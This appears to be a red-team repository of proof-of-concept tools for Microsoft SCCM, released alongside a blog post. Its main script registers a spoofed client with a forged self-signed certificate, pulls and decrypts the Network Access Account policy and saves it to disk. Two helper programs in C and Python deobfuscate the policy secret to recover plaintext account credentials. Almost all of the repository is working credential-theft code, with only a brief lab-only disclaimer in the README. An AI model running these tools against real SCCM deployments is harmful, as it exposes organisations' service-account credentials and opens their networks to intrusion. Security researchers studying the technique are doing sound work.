├── .gitignore ├── README.md ├── policysecretunobfuscate.c ├── policysecretunobfuscate.py ├── requirements.txt └── sccmwtf.py /.gitignore: -------------------------------------------------------------------------------- 1 | env 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | share/python-wheels/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | MANIFEST 30 | 31 | # PyInstaller 32 | # Usually these files are written by a python script from a template 33 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 34 | *.manifest 35 | *.spec 36 | 37 | # Installer logs 38 | pip-log.txt 39 | pip-delete-this-directory.txt 40 | 41 | # Unit test / coverage reports 42 | htmlcov/ 43 | .tox/ 44 | .nox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *.cover 51 | *.py,cover 52 | .hypothesis/ 53 | .pytest_cache/ 54 | cover/ 55 | 56 | # Translations 57 | *.mo 58 | *.pot 59 | 60 | # Django stuff: 61 | *.log 62 | local_settings.py 63 | db.sqlite3 64 | db.sqlite3-journal 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | .pybuilder/ 78 | target/ 79 | 80 | # Jupyter Notebook 81 | .ipynb_checkpoints 82 | 83 | # IPython 84 | profile_default/ 85 | ipython_config.py 86 | 87 | # pyenv 88 | # For a library or package, you might want to ignore these files since the code is 89 | # intended to run in multiple environments; otherwise, check them in: 90 | # .python-version 91 | 92 | # pipenv 93 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 94 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 95 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 96 | # install all needed dependencies. 97 | #Pipfile.lock 98 | 99 | # poetry 100 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 101 | # This is especially recommended for binary packages to ensure reproducibility, and is more 102 | # commonly ignored for libraries. 103 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 104 | #poetry.lock 105 | 106 | # pdm 107 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 108 | #pdm.lock 109 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 110 | # in version control. 111 | # https://pdm.fming.dev/#use-with-ide 112 | .pdm.toml 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | # PyCharm 158 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 159 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 160 | # and can be added to the global gitignore or merged into this file. For a more nuclear 161 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 162 | #.idea/ 163 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## SCCMwtf 2 | 3 | A couple of POC tools to support the blog post found [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/). 4 | 5 | Note: This code is designed for exploring SCCM in a lab... don't be runnin' this on a job! 6 | 7 | ## Video 8 | 9 | [![](https://res.cloudinary.com/xpnsec/image/upload/v1657400050/unobfuscating-network-access-accounts/youtube_zg4omj.png)](https://www.youtube.com/watch?v=oMy4nbmeQkw) 10 | -------------------------------------------------------------------------------- /policysecretunobfuscate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array 6 | int char2int(char input) 7 | { 8 | if (input >= '0' && input <= '9') 9 | return input - '0'; 10 | if (input >= 'A' && input <= 'F') 11 | return input - 'A' + 10; 12 | if (input >= 'a' && input <= 'f') 13 | return input - 'a' + 10; 14 | throw std::invalid_argument("Invalid input string"); 15 | } 16 | 17 | void hex2bin(const char* src, char* target) 18 | { 19 | while (*src && src[1]) 20 | { 21 | *(target++) = char2int(*src) * 16 + char2int(src[1]); 22 | src += 2; 23 | } 24 | } 25 | 26 | int main(int argc, char **argv) 27 | { 28 | HCRYPTPROV prov, prov2; 29 | HCRYPTHASH hash; 30 | HCRYPTKEY cryptKey; 31 | BYTE buffer[1024]; 32 | 33 | if (argc != 2) { 34 | return 1; 35 | } 36 | 37 | char* input = argv[1]; 38 | 39 | if (input[0] != '8' || input[1] != '9') { 40 | return 1; 41 | } 42 | 43 | char* output = (char*)malloc(strlen(input) / 2); 44 | if (output == NULL) { 45 | return 1; 46 | } 47 | 48 | // Convert to bytes 49 | hex2bin(input, output); 50 | 51 | // Get data length 52 | DWORD len = *(DWORD*)(output + 52); 53 | 54 | if (len >= sizeof(buffer)) { 55 | return 2; 56 | } 57 | 58 | // Hash length 59 | memcpy(buffer, output + 64, len); 60 | 61 | // Do the "crypto" stuff 62 | CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); 63 | CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash); 64 | CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0); 65 | CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); 66 | CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len); 67 | 68 | // Output 69 | wprintf(L"%s\n", buffer); 70 | 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /policysecretunobfuscate.py: -------------------------------------------------------------------------------- 1 | 2 | # Python script which uses C and Windows API?!!! This cannot stand! 3 | # Tested with data taken from YT video, typed all manually... 4 | # 89130000703994099597edb7733621248D4f9d474995679d1b487564356e34e63fee0855f34044f494e49a7b140000002000000028000000036600000000000015893849fa928387d5c783fa23676ed8da6ab4275a31d653f3f5db6df860521b9b33ab0cf12669f1 5 | 6 | from cryptography.hazmat.primitives import padding 7 | from cryptography.hazmat.backends import default_backend 8 | from cryptography.hazmat.primitives import hashes 9 | from cryptography.hazmat.primitives.ciphers import Cipher, modes 10 | 11 | # This is a hack to support both cryptography 48.0.0 and previous versions 12 | try: 13 | from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES 14 | except ImportError: 15 | from cryptography.hazmat.primitives.ciphers.algorithms import TripleDES 16 | 17 | def mscrypt_derive_key_sha1(secret:bytes): 18 | # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); 19 | buf1 = bytearray([0x36] * 64) 20 | buf2 = bytearray([0x5C] * 64) 21 | 22 | digest = hashes.Hash(hashes.SHA1(), backend=default_backend()) 23 | digest.update(secret) 24 | hash_ = digest.finalize() 25 | 26 | for i in range(len(hash_)): 27 | buf1[i] ^= hash_[i] 28 | buf2[i] ^= hash_[i] 29 | 30 | digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend()) 31 | digest1.update(buf1) 32 | hash1 = digest1.finalize() 33 | 34 | digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend()) 35 | digest2.update(buf2) 36 | hash2 = digest2.finalize() 37 | 38 | derived_key = hash1 + hash2[:4] 39 | return derived_key 40 | 41 | def deobfuscate_policysecret(output:str or bytes): 42 | if isinstance(output, str): 43 | output = bytes.fromhex(output) 44 | 45 | data_length = int.from_bytes(output[52:56], 'little') 46 | buffer = output[64:64+data_length] 47 | 48 | key = mscrypt_derive_key_sha1(output[4:4+0x28]) 49 | iv = bytes([0] * 8) 50 | cipher = Cipher(TripleDES(key), modes.CBC(iv), backend=default_backend()) 51 | decryptor = cipher.decryptor() 52 | decrypted_data = decryptor.update(buffer) + decryptor.finalize() 53 | 54 | padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3 55 | decrypted_data = padder.update(decrypted_data) + padder.finalize() 56 | return decrypted_data 57 | 58 | def main(): 59 | import argparse 60 | parser = argparse.ArgumentParser(description='Deobfuscates the policy secret data') 61 | parser.add_argument('policydata', help='The output from the policy secret command') 62 | args = parser.parse_args() 63 | 64 | decrypted_data = deobfuscate_policysecret(args.policydata) 65 | try: 66 | decrypted_data = decrypted_data.decode('utf-16-le') 67 | except: 68 | decrypted_data = decrypted_data.hex() 69 | print(decrypted_data) 70 | 71 | 72 | 73 | if __name__ == '__main__': 74 | main() 75 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2022.6.15 2 | cffi==1.15.1 3 | charset-normalizer==2.1.0 4 | cryptography==37.0.4 5 | idna==3.3 6 | ntlm-auth==1.5.0 7 | pyasn1==0.4.8 8 | pyasn1-modules==0.2.8 9 | pycparser==2.21 10 | requests==2.28.1 11 | requests-ntlm==1.1.0 12 | requests-toolbelt==0.9.1 13 | urllib3==1.26.10 14 | -------------------------------------------------------------------------------- /sccmwtf.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import zlib 3 | import requests 4 | import re 5 | import time 6 | import sys 7 | from pyasn1.codec.der.decoder import decode 8 | from pyasn1_modules import rfc5652 9 | from cryptography.hazmat.primitives import serialization 10 | from cryptography.hazmat.primitives.serialization import PublicFormat 11 | from cryptography.hazmat.primitives.asymmetric import rsa 12 | from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 13 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 14 | from cryptography import x509 15 | from cryptography.x509.oid import NameOID 16 | from cryptography.hazmat.primitives import hashes 17 | from cryptography.x509 import ObjectIdentifier 18 | from requests_toolbelt.multipart import decoder 19 | from requests_ntlm import HttpNtlmAuth 20 | 21 | # Who needs just 1 date format :/ 22 | dateFormat1 = "%Y-%m-%dT%H:%M:%SZ" 23 | dateFormat2 = "%Y%m%d%H%M%S.000000+000" 24 | dateFormat3 = "%m/%d/%Y %H:%M:%S" 25 | 26 | now = datetime.datetime.utcnow() 27 | 28 | # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy! 29 | registrationRequestWrapper = "{data}{signature}\x00" 30 | registrationRequest = """{encryption}{signature}""" 31 | msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" 32 | msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" 33 | policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" 34 | reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" 35 | 36 | class Tools: 37 | @staticmethod 38 | def encode_unicode(input): 39 | # Remove the BOM 40 | return input.encode('utf-16')[2:] 41 | 42 | @staticmethod 43 | def write_to_file(input, file): 44 | with open(file, "w") as fd: 45 | fd.write(input) 46 | 47 | class CryptoTools: 48 | @staticmethod 49 | def createCertificateForKey(key, cname): 50 | subject = issuer = x509.Name([ 51 | x509.NameAttribute(NameOID.COMMON_NAME, cname), 52 | ]) 53 | cert = x509.CertificateBuilder().subject_name( 54 | subject 55 | ).issuer_name( 56 | issuer 57 | ).public_key( 58 | key.public_key() 59 | ).serial_number( 60 | x509.random_serial_number() 61 | ).not_valid_before( 62 | datetime.datetime.utcnow() - datetime.timedelta(days=2) 63 | ).not_valid_after( 64 | datetime.datetime.utcnow() + datetime.timedelta(days=365) 65 | ).add_extension( 66 | x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, 67 | key_agreement=False, content_commitment=False, data_encipherment=True, 68 | crl_sign=False, encipher_only=False, decipher_only=False), 69 | critical=False, 70 | ).add_extension( 71 | # SMS Signing Certificate (Self-Signed) 72 | x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), 73 | critical=False, 74 | ).sign(key, hashes.SHA256()) 75 | 76 | return cert 77 | 78 | @staticmethod 79 | def generateRSAKey(): 80 | key = rsa.generate_private_key(public_exponent=65537, key_size=2048) 81 | return key 82 | 83 | @staticmethod 84 | def buildMSPublicKeyBlob(key): 85 | # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb 86 | blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" 87 | blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little") 88 | return blob.hex().upper() 89 | 90 | # Signs data using SHA256 and then reverses the byte order as per SCCM 91 | @staticmethod 92 | def sign(key, data): 93 | signature = key.sign(data, PKCS1v15(), hashes.SHA256()) 94 | signature_rev = bytearray(signature) 95 | signature_rev.reverse() 96 | return bytes(signature_rev) 97 | 98 | # Same for now, but hints in code that some sigs need to have the hash type removed 99 | @staticmethod 100 | def signNoHash(key, data): 101 | signature = key.sign(data, PKCS1v15(), hashes.SHA256()) 102 | signature_rev = bytearray(signature) 103 | signature_rev.reverse() 104 | return bytes(signature_rev) 105 | 106 | @staticmethod 107 | def decrypt(key, data): 108 | print(key.decrypt(data, PKCS1v15())) 109 | 110 | @staticmethod 111 | def decrypt3Des(key, encryptedKey, iv, data): 112 | desKey = key.decrypt(encryptedKey, PKCS1v15()) 113 | 114 | cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv)) 115 | decryptor = cipher.decryptor() 116 | return decryptor.update(data) + decryptor.finalize() 117 | 118 | class SCCMTools: 119 | 120 | def __init__(self, server): 121 | self._server = server 122 | self._serverURI = f"http://{server}" 123 | 124 | def sendCCMPostRequest(self, data, auth=False, username="", password=""): 125 | headers = { 126 | "Connection": "close", 127 | "User-Agent": "ConfigMgr Messaging HTTP Sender", 128 | "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" 129 | } 130 | 131 | if auth: 132 | r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system_windowsauth/request", headers=headers, data=data, auth=HttpNtlmAuth(username, password)) 133 | else: 134 | r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system/request", headers=headers, data=data) 135 | 136 | multipart_data = decoder.MultipartDecoder.from_response(r) 137 | for part in multipart_data.parts: 138 | if part.headers[b'content-type'] == b'application/octet-stream': 139 | return zlib.decompress(part.content).decode('utf-16') 140 | 141 | def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False): 142 | headers = { 143 | "Connection": "close", 144 | "User-Agent": "ConfigMgr Messaging HTTP Sender" 145 | } 146 | 147 | if authHeaders == True: 148 | headers["ClientToken"] = "GUID:{};{};2".format( 149 | clientID, 150 | now.strftime(dateFormat1) 151 | ) 152 | headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, now.strftime(dateFormat1)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() 153 | 154 | r = requests.get(f"{self._serverURI}"+url, headers=headers) 155 | if retcontent == True: 156 | return r.content 157 | else: 158 | return r.text 159 | 160 | def createCertificate(self, writeToTmp=False): 161 | self.key = CryptoTools.generateRSAKey() 162 | self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client") 163 | 164 | if writeToTmp: 165 | with open("/tmp/key.pem", "wb") as f: 166 | f.write(self.key.private_bytes( 167 | encoding=serialization.Encoding.PEM, 168 | format=serialization.PrivateFormat.TraditionalOpenSSL, 169 | encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"), 170 | )) 171 | 172 | with open("/tmp/certificate.pem", "wb") as f: 173 | f.write(self.cert.public_bytes(serialization.Encoding.PEM)) 174 | 175 | def sendRegistration(self, name, fqname, username, password): 176 | b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper() 177 | 178 | embedded = registrationRequest.format( 179 | date=now.strftime(dateFormat1), 180 | encryption=b, 181 | signature=b, 182 | client=name, 183 | clientfqdn=fqname 184 | ) 185 | 186 | signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper() 187 | request = Tools.encode_unicode(registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii') 188 | 189 | header = msgHeader.format( 190 | bodylength=len(request)-2, 191 | client=name, 192 | date=now.strftime(dateFormat1), 193 | sccmserver=self._server 194 | ) 195 | 196 | data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') 197 | 198 | deflatedData = self.sendCCMPostRequest(data, True, username, password) 199 | r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData) 200 | if r != None: 201 | return r[0] 202 | 203 | return None 204 | 205 | def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID): 206 | body = Tools.encode_unicode(policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n" 207 | payloadCompressed = zlib.compress(body) 208 | 209 | bodyCompressed = zlib.compress(body) 210 | public_key = CryptoTools.buildMSPublicKeyBlob(self.key) 211 | clientID = f"GUID:{uuid.upper()}" 212 | clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper() 213 | payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper() 214 | 215 | header = msgHeaderPolicy.format( 216 | bodylength=len(body)-2, 217 | sccmserver=self._server, 218 | client=name, 219 | publickey=public_key, 220 | clientIDsignature=clientIDSignature, 221 | payloadsignature=payloadSignature, 222 | clientid=uuid, 223 | date=now.strftime(dateFormat1) 224 | ) 225 | 226 | data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') 227 | 228 | deflatedData = self.sendCCMPostRequest(data) 229 | result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE) 230 | #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData) 231 | return [result.group(1)] 232 | 233 | def parseEncryptedPolicy(self, result): 234 | # Man.. asn1 suxx! 235 | content, rest = decode(result, asn1Spec=rfc5652.ContentInfo()) 236 | content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) 237 | encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() 238 | iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] 239 | body = content['encryptedContentInfo']['encryptedContent'].asOctets() 240 | 241 | decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body) 242 | policy = decrypted.decode('utf-16') 243 | return policy 244 | 245 | if __name__ == "__main__": 246 | 247 | print("SCCMwtf... by @_xpn_") 248 | 249 | target_name = sys.argv[1] 250 | target_fqdn = sys.argv[2] 251 | target_sccm = sys.argv[3] 252 | target_username = sys.argv[4] 253 | target_password = sys.argv[5] 254 | 255 | print("[*] Args: ") 256 | print(f"[*] Spoof Name: {target_name}") 257 | print(f"[*] Spoof FQDN: {target_fqdn}") 258 | print(f"[*] Target SCCM: {target_sccm}") 259 | print(f"[*] Computer account username: {target_username}") 260 | print(f"[*] Computer account password: {target_password}") 261 | 262 | print("[*] Creating certificate for our fake server...") 263 | tools = SCCMTools(target_sccm) 264 | tools.createCertificate(True) 265 | 266 | print("[*] Registering our fake server...") 267 | uuid = tools.sendRegistration(target_name, target_fqdn, target_username, target_password) 268 | 269 | print(f"[*] Done.. our ID is {uuid}") 270 | 271 | # If too quick, SCCM requests fail (DB error, jank!) 272 | time.sleep(4) 273 | 274 | print("[*] Requesting NAAPolicy.. 2 secs") 275 | urls = tools.sendPolicyRequest(target_name, target_fqdn, uuid, target_name, target_fqdn, uuid) 276 | 277 | print("[*] Parsing for Secretz...") 278 | 279 | for url in urls: 280 | result = tools.requestPolicy(url) 281 | if result.startswith(""): 282 | result = tools.requestPolicy(url, uuid, True, True) 283 | decryptedResult = tools.parseEncryptedPolicy(result) 284 | Tools.write_to_file(decryptedResult, "/tmp/naapolicy.xml") 285 | 286 | print("[*] Done.. decrypted policy dumped to /tmp/naapolicy.xml") 287 | --------------------------------------------------------------------------------